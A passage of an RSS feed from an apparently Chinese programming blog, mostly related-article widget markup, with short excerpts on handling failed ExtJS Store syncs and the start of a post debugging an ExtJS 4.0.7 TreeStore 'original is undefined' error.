                    &lt;a target=&quot;_blank&quot; title=&quot;Spring数据源的灵活配置巧应用&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F421%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring数据源的灵活配置巧应用&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;数据源控件的使用&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F689%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;数据源控件的使用&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Ext GridPanel数据分页 服务器数据交互&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F860%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Ext GridPanel数据分页 服务器数据交互&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
        &lt;br/&gt;
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;来自无觅网络的相关文章：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Android平台上四种保存数据的方法&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.getideas.cn%2F%3Fp%3D65&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Android平台上四种保存数据的方法 (@getideas)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;海量数据实时计算随笔&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fflychen.com%2Farticle%2Fmassive-data-real-time-computation-essays.html&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;海量数据实时计算随笔 (@flychen)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;深入浅出 MVC 数据验证 2.0 [附演示源码]&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.dozer.cc%2F2010%2F04%2Fmvc-dataannotations%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/07/13/7796162.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;深入浅出 MVC 数据验证 2.0 [附演示源码] (@dozer)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;海量数据处理方法总结&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fflychen.com%2Farticle%2Fsummary-massive-data-processing-method.html&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;海量数据处理方法总结 (@flychen)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;如何让数据说话！ —网站实例分析&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fflychen.com%2Farticle%2Fhow-to-make-the-data-speak-website-case-study.html&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2012/01/06/13519827.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;如何让数据说话！ —网站实例分析 (@flychen)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot; align=&quot;right&quot;&gt;
            &lt;a style=&quot;text-decoration: none !important;&quot; href=&quot;http://www.wumii.com/widget/relatedItems.htm&quot; target=&quot;_blank&quot; title=&quot;无觅相关文章插件&quot;&gt;
                &lt;font size=&quot;-1&quot; color=&quot;#bbbbbb&quot; style=&quot;display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;&quot;&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/593716108/Neekesblog_k9wg/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716108/5077616/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;</content:encoded><wfw:commentRss>http://www.ineeke.com/archives/1412/feed/</wfw:commentRss><slash:comments>7</slash:comments><description>假设用GridPanel和Store完成一个用户管理的功能，现在要删除在GridPanel中已选中的记录，在Controller中实现方式大致如下： 1 2 3 4 5 var selModel = this.getGridPanel&amp;#40;&amp;#41;.getSelectionModel&amp;#40;&amp;#41;; if&amp;#40;selModel.hasSelection&amp;#40;&amp;#41;&amp;#41;&amp;#123; this.getGridStore&amp;#40;&amp;#41;.remove&amp;#40;selModel.getSelection&amp;#40;&amp;#41;&amp;#41;; this.getGridStore&amp;#40;&amp;#41;.sync&amp;#40;&amp;#41;; &amp;#125; 当第三行代码执行完的时候，GridPanel中我们选中的那些记录就已经消失了，然后第四行开始与服务器端同步（删除）数据，同步要么成功要么就是失败，同步成功的话是没有问题的，但是失败的话就出现问题了：UI上被移除的数据不会再出现了。 既然官方的API没有提供这样的功能，那就只能自己来实现了，在store的proxy中可以监听exception事件进行处理： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 listeners: &amp;#123; exception: function&amp;#40;proxy, response, operation, eOpts&amp;#41;&amp;#123; var error = operation.getError&amp;#40;&amp;#41;; if&amp;#40;error.status&amp;#41;&amp;#123; error = error.status + ' ' + error.statusText; &amp;#125; Ext.Msg.show&amp;#40;&amp;#123;title: '操作失败', msg: [...]&lt;table class=&quot;wumii-related-items&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; border=&quot;0&quot;  style=&quot;clear: both;&quot;&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;C#数据集&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F494%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;C#数据集&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;ASP.NET数据绑定&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F686%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;ASP.NET数据绑定&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Spring数据源的灵活配置巧应用&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F421%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Spring数据源的灵活配置巧应用&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;数据源控件的使用&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F689%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;数据源控件的使用&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Ext GridPanel数据分页 服务器数据交互&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F860%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Ext GridPanel数据分页 服务器数据交互&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
        &lt;br/&gt;
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;来自无觅网络的相关文章：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;Android平台上四种保存数据的方法&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.getideas.cn%2F%3Fp%3D65&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;Android平台上四种保存数据的方法 (@getideas)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;海量数据实时计算随笔&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fflychen.com%2Farticle%2Fmassive-data-real-time-computation-essays.html&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;海量数据实时计算随笔 (@flychen)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;深入浅出 MVC 数据验证 2.0 [附演示源码]&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.dozer.cc%2F2010%2F04%2Fmvc-dataannotations%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/07/13/7796162.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;深入浅出 MVC 数据验证 2.0 [附演示源码] (@dozer)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;海量数据处理方法总结&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fflychen.com%2Farticle%2Fsummary-massive-data-processing-method.html&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;海量数据处理方法总结 (@flychen)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;如何让数据说话！ —网站实例分析&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fflychen.com%2Farticle%2Fhow-to-make-the-data-speak-website-case-study.html&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2012/01/06/13519827.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;如何让数据说话！ —网站实例分析 (@flychen)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot; align=&quot;right&quot;&gt;
            &lt;a style=&quot;text-decoration: none !important;&quot; href=&quot;http://www.wumii.com/widget/relatedItems.htm&quot; target=&quot;_blank&quot; title=&quot;无觅相关文章插件&quot;&gt;
                &lt;font size=&quot;-1&quot; color=&quot;#bbbbbb&quot; style=&quot;display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;&quot;&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/593716108/Neekesblog_k9wg/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716108/5077616/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;</description><category>数据恢复</category><category>ExtJS</category><pubDate>Thu, 01 Dec 2011 16:50:12 +0800</pubDate><author>Neeke</author><comments>http://www.ineeke.com/archives/1412/#comments</comments><guid isPermaLink="false">http://www.ineeke.com/?p=1412</guid><dc:creator>Neeke</dc:creator><fs:srclink>http://www.ineeke.com/archives/1412/</fs:srclink><fs:srcfeed>http://www.ineeke.com/feed/</fs:srcfeed><fs:itemid>feedsky/Neekesblog_k9wg/~8023345/593716108/5077616</fs:itemid></item><item><title>ExtJS 4.0.7 TreeStore original is undefined</title><link>http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716109/5077616/1/item.html</link><content:encoded>&lt;p&gt;最近又开始写ExtJS了，用的是最新版本ExtJS4.0.7，这玩意现在也开始搞MVC分层了，了解了一下感觉还不错！以前使用2.X系列的时候虽然也自己定义并规范化了一些，但是整体代码感觉有些乱，界面和事件处理以及数据都在一起，而且扩展起来也不太方便，现在使用这种MVC的方式确实不错！&lt;br /&gt;
&lt;span id=&quot;more-1410&quot;&gt;&lt;/span&gt;&lt;br /&gt;
由于有半年多没接触过ExtJS了，现在不光分了MVC而且，API也有不小的变化，消失了一些类又多了一些类，不过还是挺好上手的，也许是因为以前用过吧。下面说说这几天在使用TreeStore遇到的一个问题。&lt;br /&gt;
情景是这样的：在已有的树上增加一个节点，然后执行TreeStore的sync()方法与服务器进行同步后报错“original is undefined”。&lt;br /&gt;
这个操作完成后，树上（界面）已经添加成功，查看数据库也一样是成功添加了，服务器返回的JSON也没有问题，可是它就是报错！检查发现，这个错出现在TreeStore源码的onUpdateRecords方法中的“parentNode = original.parentNode;”这一句上。源码如下：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;javascript&quot; style=&quot;font-family:monospace;&quot;&gt;onUpdateRecords&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;records&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; operation&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; success&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
	&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;success&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
		&lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;var&lt;/span&gt; me &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
		i &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC0000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
		length &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; records.&lt;span style=&quot;color: #660066;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
		data &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; me.&lt;span style=&quot;color: #660066;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
		original&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
		parentNode&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;
		record&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
